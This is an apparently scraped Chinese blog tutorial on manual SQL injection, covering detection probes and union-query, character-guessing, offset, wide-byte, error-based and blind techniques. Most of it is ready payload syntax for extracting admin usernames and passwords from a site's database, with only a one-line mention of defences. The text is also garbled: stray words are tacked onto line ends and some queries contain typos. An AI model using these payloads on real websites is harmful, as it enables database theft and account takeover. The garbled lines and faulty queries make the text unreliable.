當咱們學習一個知識時咱們要考慮幾個問題:是什麼?怎麼作?而後進行有條理的學習web
首先咱們要明白SQL注入是什麼:sql
sql——結構化查詢語言shell
SQL注入就是在網站url中插入sql語句,執行sql命令,獲取數據庫內容,達到欺騙服務器的目的。數據庫
SQL注入的原理:普通用戶提交sql查詢語句,網站沒有對用戶輸入進行過濾致使執行用戶命令服務器
危害:SQL注入可使入侵者獲取後臺帳號密碼、拖庫、進入後臺破壞、拿shell工具
防禦:設置網站黑名單、限制敏感詞彙、對用戶輸入進行轉義、將參數語句化學習
明白什麼時SQL注入後咱們就要學習如何注入。測試
注入的前提是要找到注入漏洞,一般判斷是否存在SQL注入漏洞的方法有:網站
一、 ‘ 單引號判斷編碼
二、 and 1=1 1=2 判斷
找到注入漏洞後就能夠進行SQL注入了,注入方法分爲不少種:
聯合查詢法
逐字猜解法
偏移注入法
寬字節注入
時間、布爾盲注
報錯注入
進行注入可使用手工和工具,手工注入方法:
一、聯合查詢法
首先判斷存在注入漏洞後:
一、使用order by
二、使用聯合查詢語句:union select nums,nums(字段數) from admin(數據庫表名)
三、根據返回內容進一步猜解列名:帳號密碼
二、逐字猜解法:
逐字猜解不須要進行猜解字段,直接使用逐字猜解語句猜解庫名、列名以及帳號密碼
逐字猜解語句:
and exists (select * from 表名)
and exists (select 列名 from 表名)
and (select top 1 len(用戶名) from admin ) =名字長度
and (select top 1 asc(mid用戶名,1,1)from admin )=97 (判斷第一位的ascll值)
and (select top 1 asc(mid用戶名,2,1)from admin )=97 (第二位)
逐字猜解方法偏於繁瑣,熟悉手工注入方式便可,在滲透測試過程當中仍是要講究效率問題
三、偏移注入法:
偏移注入屬於沒法猜解帳號密碼後嘗試的使用方法,注入結果帶有一點運氣的成分
偏移注入語句:
order by 猜解字段
union select num,num,num from 表名
union select num,num,* from admin 逐個遞減字段數,當能夠正常訪問則證實admin表存在(遞減字段數假設爲x)個字段
以後每次遞減x個字段
遞減一個x後
union select num * from(admin as ainner join admin as b on a.id=b.id)
遞減兩個x後
union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
逐個遞減直到所剩字段小於x後(不必定能夠獲得所要結果)
四、寬字節注入法:
何時使用寬字節呢?當web編碼使用GBK時,能夠將單引號轉義則使用寬字節注入
寬字節注入:%df (注入語句)%23
五、報錯注入,盲注則根據頁面返回狀況,返回時間進行注入
以上即爲經常使用的幾種手工注入方式,若有錯誤請留言,博主及時更正!